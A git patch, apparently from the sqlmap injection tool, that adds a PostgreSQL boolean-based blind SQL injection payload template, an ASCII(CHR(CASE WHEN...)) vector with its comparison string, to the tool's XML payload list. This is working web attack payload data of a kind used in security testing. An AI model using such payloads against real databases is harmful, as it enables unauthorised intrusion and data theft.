From 8155f95b825c9e4ed74f5b8fd1d33d2709d86692 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Mon, 24 Jan 2011 22:28:54 +0000
Subject: [PATCH] new payload - PostgreSQL boolean-based blind - Parameter
 replace (based on CHR(0) - "SQL error: ERROR: null character not permitted")

---
 xml/payloads.xml | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index 5bbbb0390..a2a333fa4 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -725,6 +725,22 @@ Formats:
             <dbms>Oracle</dbms>
         </details>
     </test>
+
+    <test>
+        <title>PostgreSQL boolean-based blind - Parameter replace</title>
+        <stype>1</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>3</where>
+        <vector>ASCII(CHR(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0 END))</vector>
+        <request>
+            <payload>ASCII(CHR(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0 END))</payload>
+        </request>
+        <response>
+            <comparison>ASCII(CHR(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0 END))</comparison>
+        </response>
+    </test>
     <!-- TODO: check against Microsoft Access and SAP MaxDB -->
     <!-- End of boolean-based blind tests - Parameter replace -->